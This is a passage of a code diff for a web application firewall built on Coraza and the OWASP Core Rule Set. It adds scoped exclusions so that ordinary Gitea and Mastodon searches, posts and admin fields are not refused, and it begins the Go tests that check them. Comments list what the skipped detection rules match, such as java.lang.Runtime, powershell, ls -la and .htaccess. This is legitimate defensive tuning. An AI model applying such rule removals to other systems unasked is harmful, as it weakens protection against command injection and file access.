||||||
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
|
||||||
|
if got.Score < drupalThreshold {
|
||||||
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -35,41 +35,46 @@
|
|||||||
# 944100: java.lang.Runtime
|
# 944100: java.lang.Runtime
|
||||||
# 944110: java.lang.Runtime
|
# 944110: java.lang.Runtime
|
||||||
# 944130: java.lang.Runtime
|
# 944130: java.lang.Runtime
|
||||||
|
# gitea has no owner named api. A repository's search, issues, pull requests and
|
||||||
|
# commit search with that owner get none of this. /api/v2/search, for example,
|
||||||
|
# is Mastodon's search.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
||||||
[^/]+/-/code|\
|
[^/]+/-/code|\
|
||||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||||
commits/(?:branch|tag|commit)/.+/search)|\
|
commits/(?:branch|tag|commit)/.+/search)|\
|
||||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
||||||
"id:900600,phase:1,pass,nolog,\
|
"id:900600,phase:1,pass,nolog,chain"
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
pulls|commits/(?:branch|tag|commit)/.+/search)$" \
|
||||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:q,\
|
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932140;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
ctl:ruleRemoveTargetById=932130;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:q,\
|
ctl:ruleRemoveTargetById=932140;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
ctl:ruleRemoveTargetById=932235;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:q,\
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:q,\
|
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=933130;ARGS:q,\
|
ctl:ruleRemoveTargetById=932380;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:q,\
|
ctl:ruleRemoveTargetById=933100;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=934100;ARGS:q,\
|
ctl:ruleRemoveTargetById=933130;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=934110;ARGS:q,\
|
ctl:ruleRemoveTargetById=933135;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=934130;ARGS:q,\
|
ctl:ruleRemoveTargetById=934100;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:q,\
|
ctl:ruleRemoveTargetById=934110;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
ctl:ruleRemoveTargetById=934130;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
ctl:ruleRemoveTargetById=941100;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:q,\
|
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=941390;ARGS:q,\
|
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
ctl:ruleRemoveTargetById=941180;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=942140;ARGS:q,\
|
ctl:ruleRemoveTargetById=941390;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:q,\
|
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:q,\
|
ctl:ruleRemoveTargetById=942140;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
ctl:ruleRemoveTargetById=942190;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=944110;ARGS:q,\
|
ctl:ruleRemoveTargetById=942230;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=944110;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||||
|
|
||||||
# A page opened from the results of one of those searches has the search's
|
# A page opened from the results of one of those searches has the search's
|
||||||
# address in Referer, which skips these rules then:
|
# address in Referer, which skips these rules then:
|
||||||
@@ -78,17 +83,20 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
|||||||
# 941160: <img src=
|
# 941160: <img src=
|
||||||
# 942100: LIKE '%foo%'
|
# 942100: LIKE '%foo%'
|
||||||
# 944100: java.lang.Runtime
|
# 944100: java.lang.Runtime
|
||||||
|
# A repository with the owner api is left out here too.
|
||||||
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
||||||
issues(?:/search)?|pulls|[^/]+/-/code|\
|
issues(?:/search)?|pulls|[^/]+/-/code|\
|
||||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||||
commits/(?:branch|tag|commit)/.+/search)|\
|
commits/(?:branch|tag|commit)/.+/search)|\
|
||||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
|
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
|
||||||
"id:900601,phase:1,pass,nolog,\
|
"id:900601,phase:1,pass,nolog,chain"
|
||||||
ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\
|
||||||
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
issues(?:/search)?|pulls|commits/(?:branch|tag|commit)/.+/search)\?" \
|
||||||
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
||||||
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
||||||
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
|
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
||||||
|
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
|
||||||
|
|
||||||
# gitea's searches of repositories, users, branches, tags and packages send a
|
# gitea's searches of repositories, users, branches, tags and packages send a
|
||||||
# name in q, which skips these rules there:
|
# name in q, which skips these rules there:
|
||||||
|
|||||||
@@ -0,0 +1,204 @@
|
|||||||
|
# The twelfth change: on Mastodon's paths, some fields skip the rules that
|
||||||
|
# refused ordinary Mastodon requests there. They are the fields where Mastodon
|
||||||
|
# sends a search, a name, a title, a file name, an address or free text. Each
|
||||||
|
# exclusion runs with the request, before the rules it switches off, so this
|
||||||
|
# file is loaded before the Core Rule Set's rules. Each comment names a request
|
||||||
|
# a rule refused. An exclusion on a field of a body applies only when the query
|
||||||
|
# has no parameter of that name, so it matters only while
|
||||||
|
# SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||||
|
#
|
||||||
|
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
|
||||||
|
# resources under them count as Mastodon's paths.
|
||||||
|
#
|
||||||
|
# Four rules read a search, a name or free text as a command or a system file.
|
||||||
|
# Each exclusion below for such a field removes these four, and only these:
|
||||||
|
# 930120: .htaccess
|
||||||
|
# 932120: powershell
|
||||||
|
# 932250: ls -la
|
||||||
|
# 932260: python3
|
||||||
|
|
||||||
|
# The API's searches and names, in the query:
|
||||||
|
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
|
||||||
|
# acct: /api/v1/accounts/lookup?acct=python3
|
||||||
|
# username, display_name, email, by_domain: the admin API's search of
|
||||||
|
# accounts, /api/v1/admin/accounts?username=python3&display_name=powershell
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v[12]/(?:search|accounts|admin/accounts)(?:/|$)" \
|
||||||
|
"id:900950,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/"
|
||||||
|
|
||||||
|
# The API's titles, names and free text, in form data or JSON bodies:
|
||||||
|
# spoiler_text, poll[options][]: posting, spoiler_text=python3+details
|
||||||
|
# description: describing an uploaded file, description=Screenshot+of+ls+-la
|
||||||
|
# display_name, note, fields_attributes[0][name], fields_attributes[0][value]:
|
||||||
|
# editing a profile, note=python3+and+powershell
|
||||||
|
# title: naming a list or a filter, title=python3+friends
|
||||||
|
# keyword, keywords_attributes[][keyword]: a filter's words, keyword=powershell
|
||||||
|
# name: featuring a hashtag, name=python3
|
||||||
|
# comment: a report, a note on an account or an IP block, comment=Knows+python3
|
||||||
|
# text: warning an account, text=Please+stop+posting+powershell+malware
|
||||||
|
# private_comment, public_comment: blocking a domain
|
||||||
|
# The web app sends these in JSON:
|
||||||
|
# spoiler_text, title and the poll's options
|
||||||
|
# description, and media_attributes[].description when it edits a post
|
||||||
|
# display_name, note and fields_attributes[].name and .value, on
|
||||||
|
# /api/v1/profile, {"note":"ls -la shows the .htaccess file"}
|
||||||
|
# comment, on a report or a note on an account
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v[12]/(?:statuses|media|accounts|profile|lists|filters|featured_tags|reports|admin/(?:accounts|domain_blocks|ip_blocks))(?:/|$)" \
|
||||||
|
"id:900951,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/"
|
||||||
|
|
||||||
|
# A post's text, in status, form data from an app or JSON from the web app.
|
||||||
|
# Each of these rules refused posting "Today I learned: `ls -la ~/.config`
|
||||||
|
# lists hidden files, and `python3 -m http.server` serves a folder", so they
|
||||||
|
# skip status: the four rules, 932125, 932230 and 932235.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v1/statuses(?:/|$)" \
|
||||||
|
"id:900952,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:json\.)?status$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?status$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?status$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?status$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?status$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:json\.)?status$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?status$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?status$/"
|
||||||
|
|
||||||
|
# Uploaded files' names skip 932180, which refused uploading
|
||||||
|
# "Example .htaccess.png" as a server's own file, for a post or as a profile's
|
||||||
|
# picture. Coraza keeps these names without the field each came in. Mastodon
|
||||||
|
# refuses a file of a type it does not allow.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/api/v[12]/media$|^/api/v1/accounts/update_credentials$|^/api/v1/profile$" \
|
||||||
|
"id:900953,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=932180;FILES"
|
||||||
|
|
||||||
|
# The admin pages' searches, in the query:
|
||||||
|
# username, display_name, email: /admin/accounts?username=python3
|
||||||
|
# by_domain: /admin/instances?by_domain=python3
|
||||||
|
# shortcode: /admin/custom_emojis?shortcode=python3
|
||||||
|
# name: /admin/tags?name=python3
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/admin/(?:accounts|instances|custom_emojis|tags)$" \
|
||||||
|
"id:900954,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/"
|
||||||
|
|
||||||
|
# The admin pages' free text, in bodies:
|
||||||
|
# domain_block[private_comment], domain_block[public_comment]: blocking a
|
||||||
|
# domain, "Spam about powershell and .htaccess"
|
||||||
|
# ip_block[comment]: blocking an address
|
||||||
|
# rule[text], rule[hint]: a server rule, "No posting of powershell malware"
|
||||||
|
# announcement[text]: an announcement
|
||||||
|
# form_admin_settings[site_title], [site_short_description],
|
||||||
|
# [site_extended_description]: the server's name and descriptions,
|
||||||
|
# "Python3 social"
|
||||||
|
# admin_account_action[text]: warning an account, on
|
||||||
|
# /admin/accounts/<id>/action
|
||||||
|
# report_note[content], account_moderation_note[content]: a moderator's
|
||||||
|
# note on a report or an account, "ls -la shows the .htaccess file"
|
||||||
|
# account_warning_preset[title], [text]: a preset warning
|
||||||
|
# user_role[name]: a role
|
||||||
|
# terms_of_service[text], [changelog]: the terms of service
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/admin/(?:domain_blocks|ip_blocks|rules|announcements|settings|accounts/[^/]+/action|report_notes|account_moderation_notes|warning_presets|roles|terms_of_service)(?:/|$)" \
|
||||||
|
"id:900955,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/"
|
||||||
|
|
||||||
|
# The settings pages' names, words and addresses, and passwords, in bodies:
|
||||||
|
# custom_filter[title], custom_filter[keywords_attributes][0][keyword]: a
|
||||||
|
# filter, "python3 spam" and "ls -la"
|
||||||
|
# doorkeeper_application[name], doorkeeper_application[website]: an
|
||||||
|
# application, "https://example.org/powershell"
|
||||||
|
# account_alias[acct], account_migration[acct]: moving an account
|
||||||
|
# user[password], user[password_confirmation], user[current_password]:
|
||||||
|
# signing in, signing up and changing the password
|
||||||
|
# user[invite_request_attributes][text]: why someone signs up, while sign-ups
|
||||||
|
# need approval
|
||||||
|
# account_migration[current_password], form_redirect[current_password],
|
||||||
|
# form_delete_confirmation[password]: moving or deleting an account
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:filters|settings/(?:applications|aliases|migration|delete)|auth)(?:/|$)" \
|
||||||
|
"id:900956,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
|
||||||
|
|
||||||
|
# The web app's search page: /search?q=python3.
|
||||||
|
SecRule REQUEST_FILENAME "@streq /search" \
|
||||||
|
"id:900957,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
|
# Deliveries from other servers to an inbox, in JSON. The fields of the object
|
||||||
|
# delivered skip the four rules:
|
||||||
|
# content, contentMap: a post, "<p>notes on python3, powershell, ...</p>"
|
||||||
|
# summary, summaryMap: a post's content warning, or a profile's text
|
||||||
|
# name: a profile's name, "Alice powershell"
|
||||||
|
# attachment: a picture's description, or a profile's fields
|
||||||
|
# oneOf, anyOf: a poll's options, "python3"
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:inbox|users/[^/]+/inbox|ap/users/[0-9]+/inbox)$" \
|
||||||
|
"id:900958,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.object\./ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/"
|
||||||
|
|
||||||
|
# When someone on another server looks up a link to a profile or a post here,
|
||||||
|
# such as /@admin or /@admin/117589811962372311, that server fetches the link
|
||||||
|
# with this header. It sends it again to the account or post the link leads to.
|
||||||
|
# 920600 refused it as a malformed Accept header:
|
||||||
|
# Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams",
|
||||||
|
# application/activity+json, text/html;q=0.1
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/@[^/]+(?:/[0-9]+)?$|^/(?:ap/)?users/|^/actor$" \
|
||||||
|
"id:900959,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=920600;REQUEST_HEADERS:Accept"
|
||||||
|
|
||||||
|
# Signing up through the API, in form data or JSON:
|
||||||
|
# password, reason: password=ls+-la+shows+the+.htaccess+file
|
||||||
|
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
||||||
|
"id:900960,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:json\.)?(?:password|reason)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
||||||
|
|
||||||
|
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
||||||
|
# report forwarded to another server lists that server in forward_to_domains.
|
||||||
|
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
||||||
|
# report the web app sent. The names are:
|
||||||
|
# json.forward
|
||||||
|
# json.forward_to_domains
|
||||||
|
# json.forward_to_domains.0, json.forward_to_domains.1 and so on, one per
|
||||||
|
# server, such as remote.example
|
||||||
|
SecRule REQUEST_FILENAME "@streq /api/v1/reports" \
|
||||||
|
"id:900961,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.forward/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.forward(?:_to_domains(?:\.\d+)?)?$/"
|
||||||
|
|
||||||
|
# A hashtag and a username hold only letters, digits and underscores. So the
|
||||||
|
# web app's featured hashtags and the sign-up form's username skip only 932120
|
||||||
|
# and 932260, which refused the hashtag or username python3 or powershell.
|
||||||
|
SecRule REQUEST_FILENAME "@streq /api/v1/featured_tags" \
|
||||||
|
"id:900962,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/"
|
||||||
|
SecRule REQUEST_FILENAME "@streq /auth" \
|
||||||
|
"id:900963,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^user\[account_attributes\]\[username\]$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:/^user\[account_attributes\]\[username\]$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[account_attributes\]\[username\]$/"
|
||||||
@@ -0,0 +1,552 @@
|
|||||||
|
package coreruleset_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"net/http"
|
||||||
|
"net/url"
|
||||||
|
"slices"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
|
)
|
||||||
|
|
||||||
|
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||||
|
const mastodonThreshold = 5
|
||||||
|
|
||||||
|
// mastodonStatuses is where Mastodon's apps and web app post.
|
||||||
|
const mastodonStatuses = "/api/v1/statuses"
|
||||||
|
|
||||||
|
// mastodonInbox is a Mastodon account's inbox, which other servers deliver
|
||||||
|
// to.
|
||||||
|
const mastodonInbox = "/users/admin/inbox"
|
||||||
|
|
||||||
|
// Mastodon's paths for editing a profile, for filters, for the server's
|
||||||
|
// rules and its name, for signing in, and for signing up or changing the
|
||||||
|
// password.
|
||||||
|
const (
|
||||||
|
mastodonProfile = "/api/v1/accounts/update_credentials"
|
||||||
|
mastodonFilters = "/api/v2/filters"
|
||||||
|
mastodonRules = "/admin/rules"
|
||||||
|
mastodonBranding = "/admin/settings/branding"
|
||||||
|
mastodonSignIn = "/auth/sign_in"
|
||||||
|
mastodonAccount = "/auth"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Mastodon's paths for the web app's profile editor, for signing up through
|
||||||
|
// the API, for reports, and for warning presets, roles and the terms of
|
||||||
|
// service.
|
||||||
|
const (
|
||||||
|
mastodonEditor = "/api/v1/profile"
|
||||||
|
mastodonSignUp = "/api/v1/accounts"
|
||||||
|
mastodonReports = "/api/v1/reports"
|
||||||
|
mastodonPresets = "/admin/warning_presets"
|
||||||
|
mastodonRoles = "/admin/roles"
|
||||||
|
mastodonTerms = "/admin/terms_of_service/draft"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Fields, as the start of a form body: a title, a comment, a password and a
|
||||||
|
// post's text.
|
||||||
|
const (
|
||||||
|
mastodonTitle = "title="
|
||||||
|
mastodonComment = "comment="
|
||||||
|
